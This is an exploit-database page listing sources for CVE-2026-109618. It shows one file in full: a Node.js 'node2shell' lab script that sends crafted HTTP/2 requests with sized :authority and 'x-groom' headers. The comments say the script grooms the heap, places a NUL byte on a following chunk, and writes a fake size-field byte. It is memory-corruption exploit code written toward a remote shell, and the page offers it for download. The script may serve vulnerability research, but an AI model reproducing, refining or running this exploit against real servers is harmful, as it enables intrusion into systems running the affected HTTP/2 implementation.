Exploit databaseDownload repository ZIP
GH-77b084c651f84d76fe59d880f4600f96
genaforvena/mishe-tauftauf2shell
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
genaforvena/mishe-tauftauf2shellRevision 9edba631cfcf
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/repro/node2shell-shrinkwalk/multi-client.js
JavaScript · 2,348 bytes'use strict';
// node2shell — two requests on ONE http2 session, for the multi-request
// hole-grooming inventory (wake 6, rung-4 step 1).
// argv: port, authority length req1 (default 2208), inter-request delay
// ms (default 1500), authority length req2 (default = req1 length).
// LEN2 exists for exact-fit donor grooming: request 1 frees a
// consolidated donor region; request 2's origin sized to the donor
// exact-fits it (no remainder) so the NUL lands on whatever chunk
// follows the donor.
// Prints ALTSVC-n markers per received ALTSVC frame.
const http2 = require('http2');
const port = Number(process.argv[2]);
const n1 = Number(process.argv[3] || 2208);
const delay = Number(process.argv[4] || 1500);
const n2 = Number(process.argv[5] || n1);
const client = http2.connect('http://127.0.0.1:' + port);
client.on('error', (e) => { console.log('CLIENT-ERROR ' + e.message); process.exit(1); });
let hits = 0;
client.on('altsvc', (alt, origin, stream) => {
hits++;
console.log('ALTSVC-' + hits + ' origin_len=' + origin.length);
});
// groomLen > 0 sends an extra x-groom header on request 1 only,
// decoded AFTER :authority on the wire (object key order) — its
// nghttp2 rcbuf is the candidate free victim (rung-4 step 3 lane).
// groomTail < 0 → value all 'G' (measurement run); groomTail >= 0 →
// value = 'G'*(len-1) + chr(groomTail): the LAST byte is destined for
// the fake-sizefield low byte at V+believed+8.
function send(tag, n, groomLen, groomTail, authTail) {
const auth = authTail === undefined
? 'a'.repeat(n)
: 'a'.repeat(n - authTail.length) + authTail;
const headers = { ':authority': auth, ':path': '/' + tag, ':method': 'GET' };
if (groomLen > 0) {
headers['x-groom'] = groomTail >= 0
? 'G'.repeat(groomLen - 1) + String.fromCharCode(groomTail)
: 'G'.repeat(groomLen);
}
const req = client.request(headers);
req.resume();
req.on('error', () => {});
}
const gLen = Number(process.argv[6] || 0);
const gTail = process.argv[7] === undefined ? -1 : Number(process.argv[7]);
const a1Tail = process.argv[8]; // optional marker bytes ending authority_1
send('r1', n1, gLen, gTail, a1Tail);
setTimeout(() => send('r2', n2, 0, -1), delay + 0, undefined);
setTimeout(() => {
console.log('DONE hits=' + hits);
process.exit(hits >= 2 ? 0 : 2);
}, delay + 6000);